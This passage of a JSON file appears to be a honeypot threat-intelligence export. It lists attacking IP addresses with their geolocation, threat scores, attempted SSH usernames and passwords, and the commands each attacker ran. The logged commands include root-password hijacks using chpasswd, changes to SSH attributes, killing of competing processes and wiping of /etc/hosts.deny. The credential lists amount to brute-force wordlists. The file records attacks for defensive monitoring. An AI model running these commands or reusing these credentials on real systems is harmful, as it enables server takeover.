        "mytest",
        "opuser",
        "oracle",
        "pesteste",
        "postgres",
        "spring",
        "teamspeak",
        "testing",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111222",
        "123456789",
        "252525",
        "BBbb000",
        "China123",
        "Claude01!",
        "Odoo2025!@#",
        "Postgres18!",
        "QQzz111",
        "Qazwsx2021@#",
        "User2025",
        "bart2025",
        "coco",
        "elasticsearch",
        "mpi",
        "mytest",
        "odoo12",
        "opuser"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"parth@123\\nGZmJ236o6L5s\\nGZmJ236o6L5s\\n\"|passwd",
        "echo \"root:1aXJUEgCjZMl\"|chpasswd|bash",
        "echo -e \"parth@123\\nGZmJ236o6L5s\\nGZmJ236o6L5s\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Cambodia",
      "country_code": "KH",
      "city": null,
      "asn": 24492,
      "as_org": "WiCAM Corporation Ltd.",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 333,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T22:46:07.501000+00:00",
        "last_seen_30d": "2026-04-04T23:55:10.971000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 71
      }
    },
    "159.223.94.92": {
      "attack_count": 262,
      "first_seen": "2026-04-11T06:05:54.062Z",
      "last_seen": "2026-04-11T06:50:40.728Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "ubuntu",
        "administrator",
        "ali",
        "cloudftp",
        "dashboard",
        "deployer",
        "git",
        "n8n",
        "proradis",
        "user",
        "zhangsan"
      ],
      "passwords_attempted": [
        "1",
        "3245gs5662d34",
        "345gs5662d34",
        "!@QW34er",
        "123456-qwerty",
        "1q2w3e4r%",
        "Aa123456",
        "P@ssw0rd!@#",
        "Passw0rd2026",
        "Postgres!@",
        "Qazwsx999!@",
        "Qq123456789!",
        "Qwer1234567",
        "Root8888",
        "User30",
        "admin",
        "cloudftp",
        "dashboard",
        "ghjdthrf",
        "liverovast#adkz443"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Passw0rd2026\\ng2SxlpBloWkn\\ng2SxlpBloWkn\\n\"|passwd",
        "echo \"root:M47G1ZpOU1ek\"|chpasswd|bash",
        "echo -e \"Passw0rd2026\\ng2SxlpBloWkn\\ng2SxlpBloWkn\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T06:05:54.062000+00:00",
        "last_seen_30d": "2026-04-11T06:51:48.036000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 67
      }
    },
    "187.59.159.204": {
      "attack_count": 258,
      "first_seen": "2026-04-21T13:58:41.625Z",
      "last_seen": "2026-04-21T14:37:01.747Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "frappe",
        "ftpuser",
        "git",
        "test",
        "test5",
        "admin",
        "ali",
        "dockeruser",
        "erick",
        "n8n",
        "testuser",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!2025!",
        "!@#",
        "123",
        "1q2w3e4r5t",
        "2222",
        "2345",
        "654321",
        "A123456A0871113890",
        "Admin14",
        "Ali19",
        "FtpUser",
        "Guest2025!",
        "P@ssw0rd@1",
        "abc123",
        "asd!@#",
        "erick",
        "login2025!",
        "n8n8"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"!@#\\nBrYXHUFqFwPh\\nBrYXHUFqFwPh\\n\"|passwd",
        "echo \"test5\\nlJqcgQ6f54Jc\\nlJqcgQ6f54Jc\\n\"|passwd",
        "echo -e \"!@#\\nBrYXHUFqFwPh\\nBrYXHUFqFwPh\"|passwd|bash",
        "echo -e \"test5\\nlJqcgQ6f54Jc\\nlJqcgQ6f54Jc\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Maring\u00e1",
      "asn": 18881,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 322,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T13:58:41.625000+00:00",
        "last_seen_30d": "2026-04-21T14:38:07.385000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 258,
        "Suricata": 64
      }
    },
    "118.194.234.8": {
      "attack_count": 236,
      "first_seen": "2026-04-02T10:22:50.403Z",
      "last_seen": "2026-04-02T11:40:26.771Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1212",
        "1234560123",
        "123aaa123",
        "742024",
        "Abc123!!!",
        "Admin1@",
        "Kk123456789",
        "Pass123456",
        "Qwert13579",
        "Runner",
        "abc123ABC",
        "calculator",
        "fox",
        "hk123456",
        "join123",
        "leo",
        "practice",
        "qy@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Q5gT3krQz61E\"|chpasswd|bash",
        "echo \"root:xSgOR7n0VLmP\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T10:22:50.403000+00:00",
        "last_seen_30d": "2026-04-02T11:41:29.530000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "125.142.37.91": {
      "attack_count": 236,
      "first_seen": "2026-04-02T00:57:59.085Z",
      "last_seen": "2026-04-02T02:08:27.142Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12qwe34",
        "AA1234567",
        "Ab987",
        "Abc246",
        "Abcd5678",
        "Dd123456.",
        "Jkl12345",
        "Ll12345678",
        "Password555",
        "QQ#1234",
        "QQ-123456",
        "Qwerty+123",
        "Qwerty@root",
        "asdfgh12",
        "ddEE1234",
        "huawei1234@",
        "huawei3333",
        "qweasdzxc"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:movug53Soj9N\"|chpasswd|bash",
        "echo \"root:uS5PoSALn1eK\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Goyang-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T00:57:59.085000+00:00",
        "last_seen_30d": "2026-04-02T02:09:33.815000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "155.4.244.107": {
      "attack_count": 236,
      "first_seen": "2026-04-27T10:12:25.863Z",
      "last_seen": "2026-04-27T12:03:47.503Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#123QWE",
        "!QAZXSW@12",
        "123ubuntu",
        "7788521521",
        "Abcd12341",
        "Ad123456",
        "Admin123!@#",
        "Admin123321",
        "Hh@123456789",
        "Iforg0t",
        "Root@1234567",
        "aa1234",
        "angelica",
        "clarissa",
        "florin2025",
        "p@55w0rd123",
        "qwerty123!",
        "root@admin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:VKAZnz4oinRJ\"|chpasswd|bash",
        "echo \"root:dXdluj9vlETI\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Helsingborg",
      "asn": 8473,
      "as_org": "Bahnhof AB",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T10:12:25.863000+00:00",
        "last_seen_30d": "2026-04-27T12:04:49.365000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "201.66.81.130": {
      "attack_count": 219,
      "first_seen": "2026-04-29T14:12:50.474Z",
      "last_seen": "2026-04-29T16:00:11.547Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "test",
        "ubuntu",
        "oracle",
        "root",
        "345gs5662d34",
        "Guest",
        "admin",
        "administrator",
        "ali",
        "appuser",
        "dadmin",
        "dev",
        "developer1",
        "es",
        "ftpuser",
        "git",
        "hadoop",
        "nagiosuser",
        "postgres",
        "test05"
      ],
      "passwords_attempted": [
        "123qwe",
        "000000",
        "11111",
        "12",
        "12345",
        "123456",
        "12345678",
        "123ubuntu",
        "1q2w3e4r5T",
        "1qaz@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "654321",
        "P@ssw0rd!",
        "Pass1234",
        "Password123",
        "Ubuntu123!@#",
        "admin123admin",
        "appuser123",
        "developer1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12\\nAVW9faVqdTAm\\nAVW9faVqdTAm\\n\"|passwd",
        "echo -e \"12\\nAVW9faVqdTAm\\nAVW9faVqdTAm\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cascavel",
      "asn": 8167,
      "as_org": "V tal",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T14:12:50.474000+00:00",
        "last_seen_30d": "2026-04-29T16:01:19.431000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 80
      }
    },
    "20.244.18.126": {
      "attack_count": 193,
      "first_seen": "2026-04-15T01:09:34.245Z",
      "last_seen": "2026-04-15T01:53:42.355Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "dev",
        "345gs5662d34",
        "alex",
        "deploy",
        "exam",
        "frappe",
        "n8n",
        "prueba",
        "server",
        "testuser",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "123qwe",
        "1QAZ2WSX",
        "2025123",
        "3245gs5662d34",
        "345gs5662d34",
        "3edc4rfv@123",
        "BBzz123123",
        "Dev14!",
        "Qazwsx1234@#",
        "Root888@",
        "Superman123",
        "Ubuntu!2025",
        "aaZZ000",
        "dev04",
        "exam123",
        "frappe11",
        "n8n@",
        "password2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:wsuRA8r6rg0r\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T01:09:34.245000+00:00",
        "last_seen_30d": "2026-04-15T01:54:48.123000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 63
      }
    },
    "175.166.114.65": {
      "attack_count": 190,
      "first_seen": "2026-04-04T16:30:16.535Z",
      "last_seen": "2026-04-04T16:36:21.993Z",
      "sessions": 95,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 286,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T16:30:16.535000+00:00",
        "last_seen_30d": "2026-04-04T16:37:24.573000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 190,
        "Suricata": 96
      }
    },
    "103.171.85.117": {
      "attack_count": 168,
      "first_seen": "2026-04-26T21:51:12.350Z",
      "last_seen": "2026-04-26T22:40:25.511Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@#qaz",
        "1002",
        "123456qa",
        "3245gs5662d34",
        "345gs5662d34",
        "@qQ123456",
        "Aa123123..",
        "Admin2024@",
        "P455W0Rd",
        "Pp123456.",
        "Test@2025",
        "ab12cd34",
        "alexandra1",
        "amir123",
        "bobby",
        "charizard",
        "macarena",
        "oracle12345",
        "prueba123",
        "qweasd.123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:i7BkmlduJeH7\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 31.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T21:51:12.350000+00:00",
        "last_seen_30d": "2026-04-26T22:41:34.379000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 50
      }
    },
    "117.62.203.160": {
      "attack_count": 162,
      "first_seen": "2026-04-01T22:47:06.935Z",
      "last_seen": "2026-04-24T12:28:53.327Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "misuser",
        "testuser"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "1q2w3e4r..",
        "1qaz2wsx~",
        "3245gs5662d34",
        "AB1234",
        "ABC@2026",
        "Adm!n",
        "Ar123456",
        "P@$$word3",
        "QWERTY123",
        "QWer12",
        "Software@123",
        "a5351237",
        "angel123",
        "bigpenis",
        "deftones",
        "ln123456",
        "misuser",
        "rooot",
        "simpson"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134756,
      "as_org": "CHINANET Nanjing Jishan IDC network",
      "threat_score": 44.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T22:47:06.935000+00:00",
        "last_seen_30d": "2026-04-24T12:30:00.823000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 162,
        "Suricata": 76
      }
    },
    "77.239.101.129": {
      "attack_count": 151,
      "first_seen": "2026-04-12T11:45:33.610Z",
      "last_seen": "2026-04-12T12:45:44.252Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "steam",
        "345gs5662d34",
        "agotoz",
        "elasticsearch",
        "ftpuser",
        "test",
        "webuser"
      ],
      "passwords_attempted": [
        "!@#$%^&*",
        "123qweasd",
        "3245gs5662d34",
        "345gs5662d34",
        "GU3ST",
        "Qazwsx0000$",
        "Qazwsx2025#",
        "Root654321!!",
        "Test2026",
        "a1234567j",
        "admin1..",
        "agotoz",
        "asdfghjkl",
        "hope",
        "pass",
        "steam2026!@#",
        "test"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Bm4nJpJGCX9p\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 213877,
      "as_org": "U1 Digital Services Ltd",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 196,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T11:45:33.610000+00:00",
        "last_seen_30d": "2026-04-12T12:46:51.409000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 151,
        "Suricata": 45
      }
    },
    "203.247.143.193": {
      "attack_count": 123,
      "first_seen": "2026-04-01T11:24:01.062Z",
      "last_seen": "2026-04-01T12:32:15.795Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456$",
        "123456@aa",
        "123qwe.com",
        "1qaz@wsx#",
        "3245gs5662d34",
        "708090",
        "P@ssw)rd",
